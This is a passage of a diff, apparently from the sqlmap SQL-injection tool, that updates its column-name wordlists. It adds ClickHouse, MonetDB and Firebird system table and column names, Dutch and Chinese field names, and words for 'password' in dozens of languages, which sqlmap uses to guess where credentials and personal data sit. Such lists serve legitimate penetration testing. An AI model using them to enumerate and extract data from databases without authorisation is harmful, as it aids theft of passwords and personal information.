+ProfileEvent_SharedMergeTreeDataPartsFetchAttempt +ProfileEvent_SharedMergeTreeDataPartsFetchFromPeer +ProfileEvent_SharedMergeTreeDataPartsFetchFromPeerMicroseconds +ProfileEvent_SharedMergeTreeDataPartsFetchFromS3 +ProfileEvent_SharedMergeTreeGetPartsBatchToLoadMicroseconds +ProfileEvent_SharedMergeTreeHandleBlockingParts +ProfileEvent_SharedMergeTreeHandleBlockingPartsMicroseconds +ProfileEvent_SharedMergeTreeHandleFetchPartsMicroseconds +ProfileEvent_SharedMergeTreeHandleOutdatedParts +ProfileEvent_SharedMergeTreeHandleOutdatedPartsMicroseconds +ProfileEvent_SharedMergeTreeLoadChecksumAndIndexesMicroseconds +ProfileEvent_SharedMergeTreeMergeMutationAssignmentAttempt +ProfileEvent_SharedMergeTreeMergeMutationAssignmentFailedWithConflict +ProfileEvent_SharedMergeTreeMergeMutationAssignmentFailedWithNothingToDo +ProfileEvent_SharedMergeTreeMergeMutationAssignmentSuccessful +ProfileEvent_SharedMergeTreeMergePartsMovedToCondemned +ProfileEvent_SharedMergeTreeMergePartsMovedToOudated +ProfileEvent_SharedMergeTreeMergeSelectingTaskMicroseconds +ProfileEvent_SharedMergeTreeMetadataCacheHintLoadedFromCache +ProfileEvent_SharedMergeTreeOptimizeAsync +ProfileEvent_SharedMergeTreeOptimizeSync +ProfileEvent_SharedMergeTreeOutdatedPartsConfirmationInvocations +ProfileEvent_SharedMergeTreeOutdatedPartsConfirmationRequest +ProfileEvent_SharedMergeTreeOutdatedPartsHTTPRequest +ProfileEvent_SharedMergeTreeOutdatedPartsHTTPResponse +ProfileEvent_SharedMergeTreePartsKillerMicroseconds +ProfileEvent_SharedMergeTreePartsKillerParts +ProfileEvent_SharedMergeTreePartsKillerPartsMicroseconds +ProfileEvent_SharedMergeTreePartsKillerRuns +ProfileEvent_SharedMergeTreeScheduleDataProcessingJob +ProfileEvent_SharedMergeTreeScheduleDataProcessingJobMicroseconds +ProfileEvent_SharedMergeTreeScheduleDataProcessingJobNothingToScheduled +ProfileEvent_SharedMergeTreeTryUpdateDiskMetadataCacheForPartMicroseconds +ProfileEvent_SharedMergeTreeVirtualPartsUpdateMicroseconds +ProfileEvent_SharedMergeTreeVirtualPartsUpdates +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesByLeader +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesForMergesOrStatus +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesFromPeer +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesFromPeerMicroseconds +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesFromZooKeeper +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesFromZooKeeperMicroseconds +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesLeaderFailedElection +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesLeaderSuccessfulElection +ProfileEvent_SharedMergeTreeVirtualPartsUpdatesPeerNotFound +ProfileEvent_SharedPartsLockHoldMicroseconds +ProfileEvent_SharedPartsLocks +ProfileEvent_SharedPartsLockWaitMicroseconds +ProfileEvent_SleepFunctionCalls +ProfileEvent_SleepFunctionElapsedMicroseconds +ProfileEvent_SleepFunctionMicroseconds +ProfileEvent_SlowRead +ProfileEvent_SoftPageFaults +ProfileEvent_StorageBufferErrorOnFlush +ProfileEvent_StorageBufferFlush +ProfileEvent_StorageBufferLayerLockReadersWaitMilliseconds +ProfileEvent_StorageBufferLayerLockWritersWaitMilliseconds +ProfileEvent_StorageBufferPassedAllMinThresholds +ProfileEvent_StorageBufferPassedBytesFlushThreshold +ProfileEvent_StorageBufferPassedBytesMaxThreshold +ProfileEvent_StorageBufferPassedRowsFlushThreshold +ProfileEvent_StorageBufferPassedRowsMaxThreshold +ProfileEvent_StorageBufferPassedTimeFlushThreshold +ProfileEvent_StorageBufferPassedTimeMaxThreshold +ProfileEvent_StorageConnectionsCreated +ProfileEvent_StorageConnectionsElapsedMicroseconds +ProfileEvent_StorageConnectionsErrors +ProfileEvent_StorageConnectionsExpired +ProfileEvent_StorageConnectionsPreserved +ProfileEvent_StorageConnectionsReset +ProfileEvent_StorageConnectionsReused +ProfileEvent_SummingSortedMilliseconds +ProfileEvent_SuspendSendingQueryToShard +ProfileEvent_SynchronousReadWaitMicroseconds +ProfileEvent_SynchronousRemoteReadWaitMicroseconds +ProfileEvent_SystemLogErrorOnFlush +ProfileEvent_SystemTimeMicroseconds +ProfileEvent_TableFunctionExecute +ProfileEvent_TextIndexDictionaryBlockCacheHits +ProfileEvent_TextIndexDictionaryBlockCacheMisses +ProfileEvent_TextIndexDiscardHint +ProfileEvent_TextIndexHeaderCacheHits +ProfileEvent_TextIndexHeaderCacheMisses +ProfileEvent_TextIndexPostingsCacheHits +ProfileEvent_TextIndexPostingsCacheMisses +ProfileEvent_TextIndexReadDictionaryBlocks +ProfileEvent_TextIndexReaderTotalMicroseconds +ProfileEvent_TextIndexReadGranulesMicroseconds +ProfileEvent_TextIndexReadPostings +ProfileEvent_TextIndexReadSparseIndexBlocks +ProfileEvent_TextIndexUsedEmbeddedPostings +ProfileEvent_TextIndexUseHint +ProfileEvent_ThreadPoolReaderPageCacheHit +ProfileEvent_ThreadPoolReaderPageCacheHitBytes +ProfileEvent_ThreadPoolReaderPageCacheHitElapsedMicroseconds +ProfileEvent_ThreadPoolReaderPageCacheMiss +ProfileEvent_ThreadPoolReaderPageCacheMissBytes +ProfileEvent_ThreadPoolReaderPageCacheMissElapsedMicroseconds +ProfileEvent_ThreadpoolReaderPrepareMicroseconds +ProfileEvent_ThreadpoolReaderReadBytes +ProfileEvent_ThreadpoolReaderSubmit +ProfileEvent_ThreadpoolReaderSubmitLookupInCacheMicroseconds +ProfileEvent_ThreadpoolReaderSubmitReadSynchronously +ProfileEvent_ThreadpoolReaderSubmitReadSynchronouslyBytes +ProfileEvent_ThreadpoolReaderSubmitReadSynchronouslyMicroseconds +ProfileEvent_ThreadpoolReaderTaskMicroseconds +ProfileEvent_ThrottlerSleepMicroseconds +ProfileEvent_TinyS3Clients +ProfileEvent_UncompressedCacheHits +ProfileEvent_UncompressedCacheMisses +ProfileEvent_UncompressedCacheWeightLost +ProfileEvent_USearchAddComputedDistances +ProfileEvent_USearchAddCount +ProfileEvent_USearchAddVisitedMembers +ProfileEvent_USearchSearchComputedDistances +ProfileEvent_USearchSearchCount +ProfileEvent_USearchSearchVisitedMembers +ProfileEvent_UserTimeMicroseconds +ProfileEvent_VectorSimilarityIndexCacheHits +ProfileEvent_VectorSimilarityIndexCacheMisses +ProfileEvent_VectorSimilarityIndexCacheWeightLost +ProfileEvent_VersionedCollapsingSortedMilliseconds +ProfileEvent_WaitMarksLoadMicroseconds +ProfileEvent_WaitPrefetchTaskMicroseconds +ProfileEvent_WriteBufferFromFileDescriptorWrite +ProfileEvent_WriteBufferFromFileDescriptorWriteBytes +ProfileEvent_WriteBufferFromFileDescriptorWriteFailed +ProfileEvent_WriteBufferFromHTTPBytes +ProfileEvent_WriteBufferFromHTTPRequestsSent +ProfileEvent_WriteBufferFromS3Bytes +ProfileEvent_WriteBufferFromS3Microseconds +ProfileEvent_WriteBufferFromS3RequestsErrors +ProfileEvent_WriteBufferFromS3WaitInflightLimitMicroseconds +ProfileEvent_ZooKeeperBytesReceived +ProfileEvent_ZooKeeperBytesSent +ProfileEvent_ZooKeeperCheck +ProfileEvent_ZooKeeperClose +ProfileEvent_ZooKeeperCreate +ProfileEvent_ZooKeeperExists +ProfileEvent_ZooKeeperGet +ProfileEvent_ZooKeeperGetACL +ProfileEvent_ZooKeeperHardwareExceptions +ProfileEvent_ZooKeeperInit +ProfileEvent_ZooKeeperList +ProfileEvent_ZooKeeperMulti +ProfileEvent_ZooKeeperMultiRead +ProfileEvent_ZooKeeperMultiWrite +ProfileEvent_ZooKeeperOtherExceptions +ProfileEvent_ZooKeeperReconfig +ProfileEvent_ZooKeeperRemove +ProfileEvent_ZooKeeperSet +ProfileEvent_ZooKeeperSync +ProfileEvent_ZooKeeperTransactions +ProfileEvent_ZooKeeperUserExceptions +ProfileEvent_ZooKeeperWaitMicroseconds +ProfileEvent_ZooKeeperWatchResponse +profile_name +progress +projection_parts +projection_parts_columns +projections +ptr +queries +query +query_cache +query_cache_usage +query_condition_cache +query_count +query_create_time +query_duration_ms +query_finish_time +query_id +query_inserts +query_kind +query_log +query_selects +query_start_time +query_start_time_microseconds +queue_cost +queue_length +queue_oldest_time +queue_size +quota_key +quota_limits +quota_name +quotas +quotas_usage +quotation_mark +quota_usage +radical +rdkafka_stat +read_bytes +read_disks +readonly +readonly_duration +readonly_start_time +read_rows +ready_seqno +reason +recovery_time +refcount +referenced_column_name +REFERENCED_COLUMN_NAME +referenced_table_name +REFERENCED_TABLE_NAME +referenced_table_schema +REFERENCED_TABLE_SCHEMA +references +referential_constraints +REFERENTIAL_CONSTRAINTS +regexp +regional_indicator +registration_time +remote +remote_data_paths +remote_path +removal_csn +removal_state +removal_tid +removal_tid_lock +remove_time +replica_is_active +replica_name +replica_num +replica_path +replicas +replicated_fetches +replicated_merge_tree_settings +replication_lag +replication_queue +required_quorum +resource +resources +result_bytes +result_part_name +result_part_path +result_rows +result_size +retry +returned_value +revision +rgi_emoji +rgi_emoji_flag_sequence +rgi_emoji_modifier_sequence +rgi_emoji_tag_sequence +rgi_emoji_zwj_sequence +rocksdb +role_grants +role_name +roles +rollback +row_policies +rows +rows_processed +rows_read +rows_written +rule_type +s3queue +s3_queue_settings +sampling_key +scheduled +scheduler +schedule_time +schema +schema_inference_cache +schema_inference_mode +schema_name +SCHEMA_NAME +schema_owner +SCHEMA_OWNER +schemata +SCHEMATA +script +script_extensions +script_line_number +script_query_number +secondary_indices_compressed_bytes +secondary_indices_marks_bytes +secondary_indices_uncompressed_bytes +segment_starter +select_filter +sentence_break +sentence_terminal +seq_in_index +SEQ_IN_INDEX +serialization_hint +serialization_kind +serial_number +server_settings +setting_name +settings +Settings +settings_changes +settings_profile_elements +settings_profiles +shard_name +shard_num +shard_weight +shared +short_name +signature_algo +simple_case_folding +simple_lowercase_mapping +simple_titlecase_mapping +simple_uppercase_mapping +size +size_in_bytes +slowdowns_count +slru_size_ratio +snapshot_id +soft_dotted +sorting_key +source +source_file +source_line +source_part_names +source_part_paths +source_replica +source_replica_hostname +source_replica_path +source_replica_port +sql_path +SQL_PATH +stack_trace +stale +start_time +state +statistics +STATISTICS +status +step_uniq_id +storage +storage_policies +storage_policy +subject +sub_part +SUB_PART +substitution +substreams +support +SUPPORT +supports_append +supports_deduplication +supports_parallel_formatting +supports_parallel_insert +supports_parallel_parsing +supports_projections +supports_random_access +supports_replication +supports_settings +supports_skipping_indices +supports_sort_order +supports_subsets_of_columns +supports_ttl +surname +symbol +symbol_demangled +symbols +syntax +system +system_vruntime +table +table_catalog +TABLE_CATALOG +table_collation +TABLE_COLLATION +table_comment +TABLE_COMMENT +table_dropped_time +table_engines +table_functions +table_name +TABLE_NAME +table_rows +TABLE_ROWS +tables +TABLES +table_schema +TABLE_SCHEMA +table_type +TABLE_TYPE +table_uuid +tag +target_disk_name +target_disk_path +task_name +task_uuid +terminal_punctuation +text_log +thread_id +thread_ids +thread_name +throttling_us +throughput +tier +timestamp_ns +time_zone +time_zones +title +titlecase_mapping +to_detached +tokens +to_shard +total_bytes +total_bytes_uncompressed +total_marks +total_replicas +total_rows +total_rows_approx +total_size +total_size_bytes_compressed +total_size_bytes_uncompressed +total_size_marks +total_space +trace +trace_log +trace_type +trail_canonical_combining_class +transaction_id +type +type_full +unbound +uncompressed_hash_of_compressed_files +uncompressed_size +unicode +unified_ideograph +unique_constraint_catalog +UNIQUE_CONSTRAINT_CATALOG +unique_constraint_name +UNIQUE_CONSTRAINT_NAME +unique_constraint_schema +UNIQUE_CONSTRAINT_SCHEMA +unit +unreserved_space +unsynced_after_recovery +update_rule +UPDATE_RULE +update_time +uppercase +uppercase_mapping +URI +used_aggregate_function_combinators +used_aggregate_functions +used_database_engines +used_data_type_families +used_dictionaries +used_executable_user_defined_functions +used_formats +used_functions +used_privileges +used_row_policies +used_sql_user_defined_functions +used_storages +used_table_functions +user +user_directories +user_id +user_name +user_processes +users +uuid +value +value1 +value10 +value2 +value3 +value4 +value5 +value6 +value7 +value8 +value9 +variation_selector +version +vertical_orientation +view +view_definition +VIEW_DEFINITION +view_refreshes +views +VIEWS +visible +volume_name +volume_priority +volume_type +vruntime +waiters +warnings +weight +white_space +with_admin_option +word +word_break +workloads +writability +write_cache_per_user_id_directory +write_disks +written_bytes +written_rows +xdigit +xid_continue +xid_start +zero +zeros +zeros_mt +zookeeper_exception +zookeeper_name +zookeeper_path + +[MonetDB] +access +action +action_id +action_name +address +a_nme +arg_id +arg_name +arg_nr +args +arguments +atomwidth +auth_id +auth_name +authorization +auths +auth_srid +cache +cacheinc +col +column +column_id +column_name +_columns +columns +columnsize +comment +comments +commit_action +compinfo +component +con +condition +constraint_name +coord_dimension +count +cpu +created +cycle +db_user_info +def +default +default_role +default_schema +defined +delete_action +delete_action_id +dependencies +dependencies_vw +dependency_args_on_types +dependency_columns_on_functions +dependency_columns_on_indexes +dependency_columns_on_keys +dependency_columns_on_procedures +dependency_columns_on_triggers +dependency_columns_on_types +dependency_columns_on_views +dependency_functions_on_functions +dependency_functions_on_procedures +dependency_functions_on_triggers +dependency_functions_on_types +dependency_functions_on_views +dependency_keys_on_foreignkeys +dependency_owners_on_schemas +dependency_schemas_on_users +dependency_tables_on_foreignkeys +dependency_tables_on_functions +dependency_tables_on_indexes +dependency_tables_on_procedures +dependency_tables_on_triggers +dependency_tables_on_views +dependency_type_id +dependency_type_name +dependency_types +dependency_views_on_functions +dependency_views_on_procedures +dependency_views_on_views +depend_id +depend_type +describe_column_defaults +describe_comments +describe_constraints +describe_foreign_keys +describe_functions +describe_indices +describe_partition_tables +describe_privileges +describe_sequences +describe_tables +describe_triggers +describe_user_defined_types +digits +distinct +dump_add_schemas_to_users +dump_column_defaults +dump_column_grants +dump_comments +dump_create_roles +dump_create_schemas +dump_create_users +dump_foreign_keys +dump_function_grants +dump_functions +dump_grant_user_privileges +dump_indices +dump_partition_tables +dump_sequences +dump_start_sequences +dump_statements +dump_table_constraint_type +dump_table_grants +dump_tables +dump_triggers +dump_user_defined_types +eclass +environment +event +expression +ext_tpe +f_geometry_column +finished +fk +fk_c +fkey_actions +fkeys +fk_id +fk_name +fk_s +fk_t +fk_table_id +fldid +footprint +foreign_schema_name +foreign_table_name +fqn +f_table_catalog +f_table_name +f_table_schema +fullname +fully_qualified_functions +fun +func +func_id +function +function_id +function_languages +function_name +functions +function_schema_id +function_type +function_type_id +function_type_keyword +function_type_name +function_types +geometry_columns +g_nme +grantable +grantee +grantor +hashes +hashsize +heapsize +id +idle +ids +idxs +imprints +imprintsize +inc +increment +ind +index_id +index_name +index_type +index_type_id +index_type_name +index_types +inout +input +io +isacolumn +key_col_nr +key_id +key_name +keys +key_table_id +key_type +key_type_id +key_type_name +key_types +keyword +keywords +language +language_id +language_keyword +language_name +location +login +login_id +log_level +ma +mal +malfunctions +maximum +max_memory +maxval +maxvalue +max_workers +maxworkers +memorylimit +merge_schema_name +merge_table_name +message +mi +minimum +minval +minvalue +mod +mode +module +m_sch +m_tbl +name +new_name +nils +nme +nomax +nomin +nr +null +number +o +objects +obj_id +obj_type +old_name +on_delete +o_nme +on_update +opt +optimize +optimizer +optimizers +orderidx +orderidxsize +orientation +o_tpe +owner +owner_name +partition_id +partition_schema_name +partition_table_name +password +phash +pipe +pk_c +pk_s +pk_t +plan +p_nme +prepared_statements +prepared_statements_args +primary_schema_name +primary_table_name +privilege_code_id +privilege_code_name +privilege_codes +privileges +procedure_id +procedure_name +procedure_schema_id +procedure_type +proj4text +p_sch +p_tbl +pvalues +query +querylog_calls +querylog_catalog +querylog_history +querytimeout +queue +radix +range_partitions +reference +rejects +rem +remark +revsorted +rkey +rma +rmi +role_id +roles +rowcount +rowid +rs +run +s +scale +sch +schema +schema_id +schema_name +schema_path +schemas +schemastorage +semantics +seq +seqname +seq_nr +sequence_name +sequences +sessionid +sessions +sessiontimeout +ship +side_effect +signature +sorted +spatial_ref_sys +sqlname +sql_tpe +srid +srtext +start +started +statement +statementid +statistics +status +stmt +stop +storage +storagemodel +storagemodelinput +storages +sub +sys_table +system +systemname +tab +table +table_id +table_name +table_partitions +_tables +tables +table_schema_id +tablestorage +tablestoragemodel +table_type_id +table_type_name +table_types +tag +tbl +temporary +ticks +time +tpe +tracelog +tri +trigger_id +trigger_name +triggers +trigger_table_id +tuples +typ +type +type_digits +type_id +type_name +types +type_scale +typewidth +unique +update_action +update_action_id +used_by_id +used_by_name +used_by_obj_type +used_in_function_id +used_in_function_name +used_in_function_schema_id +used_in_function_type +user_name +username +user_role +users +value +value_partitions +vararg +var_name +varres +var_values +view1_id +view1_name +view1_schema_id +view2_id +view2_name +view2_schema_id +view_id +view_name +view_schema_id +width +with_nulls +workerlimit + +[Firebird] +ID +MON$ATTACHMENT_ID +MON$ATTACHMENT_NAME +MON$ATTACHMENTS +MON$AUTH_METHOD +MON$AUTO_COMMIT +MON$AUTO_UNDO +MON$BACKUP_STATE +MON$BACKVERSION_READS +MON$CALLER_ID +MON$CALL_ID +MON$CALL_STACK +MON$CHARACTER_SET_ID +MON$CLIENT_VERSION +MON$COMPILED_STATEMENT_ID +MON$COMPILED_STATEMENTS +MON$CONTEXT_VARIABLES +MON$CREATION_DATE +MON$CRYPT_PAGE +MON$CRYPT_STATE +MON$DATABASE +MON$DATABASE_NAME +MON$EXPLAINED_PLAN +MON$FILE_ID +MON$FORCED_WRITES +MON$FRAGMENT_READS +MON$GARBAGE_COLLECTION +MON$GUID +MON$IDLE_TIMEOUT +MON$IDLE_TIMER +MON$IO_STATS +MON$ISOLATION_MODE +MON$LOCK_TIMEOUT +MON$MAX_MEMORY_ALLOCATED +MON$MAX_MEMORY_USED +MON$MEMORY_ALLOCATED +MON$MEMORY_USAGE +MON$MEMORY_USED +MON$NEXT_ATTACHMENT +MON$NEXT_STATEMENT +MON$NEXT_TRANSACTION +MON$OBJECT_NAME +MON$OBJECT_TYPE +MON$ODS_MAJOR +MON$ODS_MINOR +MON$OLDEST_ACTIVE +MON$OLDEST_SNAPSHOT +MON$OLDEST_TRANSACTION +MON$OWNER +MON$PACKAGE_NAME +MON$PAGE_BUFFERS +MON$PAGE_FETCHES +MON$PAGE_MARKS +MON$PAGE_READS +MON$PAGES +MON$PAGE_SIZE +MON$PAGE_WRITES +MON$PARALLEL_WORKERS +MON$READ_ONLY +MON$RECORD_BACKOUTS +MON$RECORD_CONFLICTS +MON$RECORD_DELETES +MON$RECORD_EXPUNGES +MON$RECORD_IDX_READS +MON$RECORD_IMGC +MON$RECORD_INSERTS +MON$RECORD_LOCKS +MON$RECORD_PURGES +MON$RECORD_RPT_READS +MON$RECORD_SEQ_READS +MON$RECORD_STAT_ID +MON$RECORD_STATS +MON$RECORD_UPDATES +MON$RECORD_WAITS +MON$REMOTE_ADDRESS +MON$REMOTE_HOST +MON$REMOTE_OS_USER +MON$REMOTE_PID +MON$REMOTE_PROCESS +MON$REMOTE_PROTOCOL +MON$REMOTE_VERSION +MON$REPLICA_MODE +MON$RESERVE_SPACE +MON$ROLE +MON$SEC_DATABASE +MON$SERVER_PID +MON$SESSION_TIMEZONE +MON$SHUTDOWN_MODE +MON$SOURCE_COLUMN +MON$SOURCE_LINE +MON$SQL_DIALECT +MON$SQL_TEXT +MON$STATE +MON$STATEMENT_ID +MON$STATEMENTS +MON$STATEMENT_TIMEOUT +MON$STATEMENT_TIMER +MON$STAT_GROUP +MON$STAT_ID +MON$SWEEP_INTERVAL +MON$SYSTEM_FLAG +MON$TABLE_NAME +MON$TABLE_STATS +MON$TIMESTAMP +MON$TOP_TRANSACTION +MON$TRANSACTION_ID +MON$TRANSACTIONS +MON$USER +MON$VARIABLE_NAME +MON$VARIABLE_VALUE +MON$WIRE_COMPRESSED +MON$WIRE_CRYPT_PLUGIN +MON$WIRE_ENCRYPTED +NAME +RDB$ACL +RDB$ACTIVE_FLAG +RDB$ARGUMENT_MECHANISM +RDB$ARGUMENT_NAME +RDB$ARGUMENT_POSITION +RDB$AUTH_MAPPING +RDB$AUTO_ENABLE +RDB$BACKUP_HISTORY +RDB$BACKUP_ID +RDB$BACKUP_LEVEL +RDB$BASE_COLLATION_NAME +RDB$BASE_FIELD +RDB$BYTES_PER_CHARACTER +RDB$CHARACTER_LENGTH +RDB$CHARACTER_SET_ID +RDB$CHARACTER_SET_NAME +RDB$CHARACTER_SETS +RDB$CHECK_CONSTRAINTS +RDB$COLLATION_ATTRIBUTES +RDB$COLLATION_ID +RDB$COLLATION_NAME +RDB$COLLATIONS +RDB$COMPLEX_NAME +RDB$COMPUTED_BLR +RDB$COMPUTED_SOURCE +RDB$CONDITION_BLR +RDB$CONDITION_SOURCE +RDB$CONFIG +RDB$CONFIG_DEFAULT +RDB$CONFIG_ID +RDB$CONFIG_IS_SET +RDB$CONFIG_NAME +RDB$CONFIG_SOURCE +RDB$CONFIG_VALUE +RDB$CONST_NAME_UQ +RDB$CONSTRAINT_NAME +RDB$CONSTRAINT_TYPE +RDB$CONTEXT_NAME +RDB$CONTEXT_TYPE +RDB$DATABASE +RDB$DB_CREATORS +RDB$DBKEY_LENGTH +RDB$DEBUG_INFO +RDB$DEFAULT_CLASS +RDB$DEFAULT_COLLATE_NAME +RDB$DEFAULT_SOURCE +RDB$DEFAULT_VALUE +RDB$DEFERRABLE +RDB$DELETE_RULE +RDB$DEPENDED_ON_NAME +RDB$DEPENDED_ON_TYPE +RDB$DEPENDENCIES +RDB$DEPENDENT_NAME +RDB$DEPENDENT_TYPE +RDB$DESCRIPTION +RDB$DESCRIPTOR +RDB$DETERMINISTIC_FLAG +RDB$DIMENSION +RDB$DIMENSIONS +RDB$EDIT_STRING +RDB$ENGINE_NAME +RDB$ENTRYPOINT +RDB$EXCEPTION_NAME +RDB$EXCEPTION_NUMBER +RDB$EXCEPTIONS +RDB$EXPRESSION_BLR +RDB$EXPRESSION_SOURCE +RDB$EXTERNAL_DESCRIPTION +RDB$EXTERNAL_FILE +RDB$EXTERNAL_LENGTH +RDB$EXTERNAL_SCALE +RDB$EXTERNAL_TYPE +RDB$FIELD_DIMENSIONS +RDB$FIELD_ID +RDB$FIELD_LENGTH +RDB$FIELD_NAME +RDB$FIELD_POSITION +RDB$FIELD_PRECISION +RDB$FIELDS +RDB$FIELD_SCALE +RDB$FIELD_SOURCE +RDB$FIELD_SUB_TYPE +RDB$FIELD_TYPE +RDB$FILE_FLAGS +RDB$FILE_LENGTH +RDB$FILE_NAME +RDB$FILE_PARTITIONS +RDB$FILE_P_OFFSET +RDB$FILES +RDB$FILE_SEQUENCE +RDB$FILE_START +RDB$FILTERS +RDB$FLAGS +RDB$FOREIGN_KEY +RDB$FORMAT +RDB$FORMATS +RDB$FORM_OF_USE +RDB$FUNCTION_ARGUMENTS +RDB$FUNCTION_BLR +RDB$FUNCTION_ID +RDB$FUNCTION_NAME +RDB$FUNCTIONS +RDB$FUNCTION_SOURCE +RDB$FUNCTION_TYPE +RDB$GENERATOR_ID +RDB$GENERATOR_INCREMENT +RDB$GENERATOR_NAME +RDB$GENERATORS +RDB$GRANT_OPTION +RDB$GRANTOR +RDB$GUID +RDB$IDENTITY_TYPE +RDB$INDEX_ID +RDB$INDEX_INACTIVE +RDB$INDEX_NAME +RDB$INDEX_SEGMENTS +RDB$INDEX_TYPE +RDB$INDICES +RDB$INITIALLY_DEFERRED +RDB$INITIAL_VALUE +RDB$INPUT_SUB_TYPE +RDB$KEYWORD_NAME +RDB$KEYWORD_RESERVED +RDB$KEYWORDS +RDB$LEGACY_FLAG +RDB$LINGER +RDB$LOG_FILES +RDB$LOWER_BOUND +RDB$MAP_DB +RDB$MAP_FROM +RDB$MAP_FROM_TYPE +RDB$MAP_NAME +RDB$MAP_PLUGIN +RDB$MAP_TO +RDB$MAP_TO_TYPE +RDB$MAP_USING +RDB$MATCH_OPTION +RDB$MECHANISM +RDB$MESSAGE +RDB$MESSAGE_NUMBER +RDB$MISSING_SOURCE +RDB$MISSING_VALUE +RDB$MODULE_NAME +RDB$NULL_FLAG +RDB$NUMBER_OF_CHARACTERS +RDB$OBJECT_TYPE +RDB$OUTPUT_SUB_TYPE +RDB$OWNER_NAME +RDB$PACKAGE_BODY_SOURCE +RDB$PACKAGE_HEADER_SOURCE +RDB$PACKAGE_NAME +RDB$PACKAGES +RDB$PAGE_NUMBER +RDB$PAGES +RDB$PAGE_SEQUENCE +RDB$PAGE_TYPE +RDB$PARAMETER_MECHANISM +RDB$PARAMETER_NAME +RDB$PARAMETER_NUMBER +RDB$PARAMETER_TYPE +RDB$PRIVATE_FLAG +RDB$PRIVILEGE +RDB$PROCEDURE_BLR +RDB$PROCEDURE_ID +RDB$PROCEDURE_INPUTS +RDB$PROCEDURE_NAME +RDB$PROCEDURE_OUTPUTS +RDB$PROCEDURE_PARAMETERS +RDB$PROCEDURES +RDB$PROCEDURE_SOURCE +RDB$PROCEDURE_TYPE +RDB$PUBLICATION_NAME +RDB$PUBLICATIONS +RDB$PUBLICATION_TABLES +RDB$QUERY_HEADER +RDB$QUERY_NAME +RDB$REF_CONSTRAINTS +RDB$RELATION_CONSTRAINTS +RDB$RELATION_FIELDS +RDB$RELATION_ID +RDB$RELATION_NAME +RDB$RELATIONS +RDB$RELATION_TYPE +RDB$RETURN_ARGUMENT +RDB$ROLE_NAME +RDB$ROLES +RDB$RUNTIME +RDB$SCN +RDB$SECURITY_CLASS +RDB$SECURITY_CLASSES +RDB$SEGMENT_COUNT +RDB$SEGMENT_LENGTH +RDB$SHADOW_NUMBER +RDB$SPECIFIC_ATTRIBUTES +RDB$SQL_SECURITY +RDB$STATISTICS +RDB$SYSTEM_FLAG +RDB$SYSTEM_PRIVILEGES +RDB$TABLE_NAME +RDB$TIMESTAMP +RDB$TIME_ZONE_ID +RDB$TIME_ZONE_NAME +RDB$TIME_ZONES +RDB$TRANSACTION_DESCRIPTION +RDB$TRANSACTION_ID +RDB$TRANSACTIONS +RDB$TRANSACTION_STATE +RDB$TRIGGER_BLR +RDB$TRIGGER_INACTIVE +RDB$TRIGGER_MESSAGES +RDB$TRIGGER_NAME +RDB$TRIGGERS +RDB$TRIGGER_SEQUENCE +RDB$TRIGGER_SOURCE +RDB$TRIGGER_TYPE +RDB$TYPE +RDB$TYPE_NAME +RDB$TYPES +RDB$UNIQUE_FLAG +RDB$UPDATE_FLAG +RDB$UPDATE_RULE +RDB$UPPER_BOUND +RDB$USER +RDB$USER_PRIVILEGES +RDB$USER_TYPE +RDB$VALIDATION_BLR +RDB$VALIDATION_SOURCE +RDB$VALID_BLR +RDB$VALID_BODY_FLAG +RDB$VIEW_BLR +RDB$VIEW_CONTEXT +RDB$VIEW_NAME +RDB$VIEW_RELATIONS +RDB$VIEW_SOURCE +SEC$ACTIVE +SEC$ADMIN +SEC$DB_CREATORS +SEC$DESCRIPTION +SEC$FIRST_NAME +SEC$GLOBAL_AUTH_MAPPING +SEC$KEY +SEC$LAST_NAME +SEC$MAP_DB +SEC$MAP_FROM +SEC$MAP_FROM_TYPE +SEC$MAP_NAME +SEC$MAP_PLUGIN +SEC$MAP_TO +SEC$MAP_TO_TYPE +SEC$MAP_USING +SEC$MIDDLE_NAME +SEC$PLUGIN +SEC$USER +SEC$USER_ATTRIBUTES +SEC$USER_NAME +SEC$USERS +SEC$USER_TYPE +SEC$VALUE +SURNAME +USERS + diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index b2e00b3456d..a3d425bee12 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission id @@ -1844,6 +1844,10 @@ banner_id error language_id val +parol +familiya +imya +otchestvo # site:jp @@ -2731,7 +2735,120 @@ ssn account confidential +# site:nl + +naam +straat +gemeente +beschrijving +id_gebruiker +gebruiker_id +gebruikersnaam +wachtwoord +telefoon +voornaam +achternaam +geslacht +huisnummer +gemeente +leeftijd + +# site:cn + +yonghuming +mima +xingming +xingbie +touxiang +youxiang +shouji + # Misc u_pass hashedPw + +# password (international) + +adgangskode +aikotoba +amho +bimilbeonho +codewort +contrasena +contrasenya +contrasinal +esmeramz +facalfare +fjalekalim +focalfaire +gagtnabar +geslo +gozarvazhe +gunho +haslo +heslo +hudyat +igamalokungena +iphasiwedi +javka +jelszo +kadavucol +kalameobur +kalimatumurur +kalimatusirr +kalmarsirri +katalaluan +katasandi +kennwort +kodeord +kodikos +kouling +kupiasoz +kupuhipa +kupukaranga +kupuuru +kupuwhakahipa +losen +losenord +lozinka +lykilord +matkhau +mima +nenosiri +nywila +okwuntughe +oroasina +oroigbaniwole +paeseuwodeu +parol +parola +parolachiave +paroladordine +parole +paroli +parolja +parool +parulle +pasahitza +pasfhocal +pasowardo +passord +passwort +pasuwado +pasvorto +rahatphan +ramzobur +salasana +salasona +santoysena +senha +sifra +sifre +sisma +slaptazodis +synthimatiko +tunnussana +wachtwoord +wachtwurd +wagwoord diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt index 8fbbe0ebd7b..d64015805e8 100644 --- a/data/txt/common-files.txt +++ b/data/txt/common-files.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # CTFs diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt deleted file mode 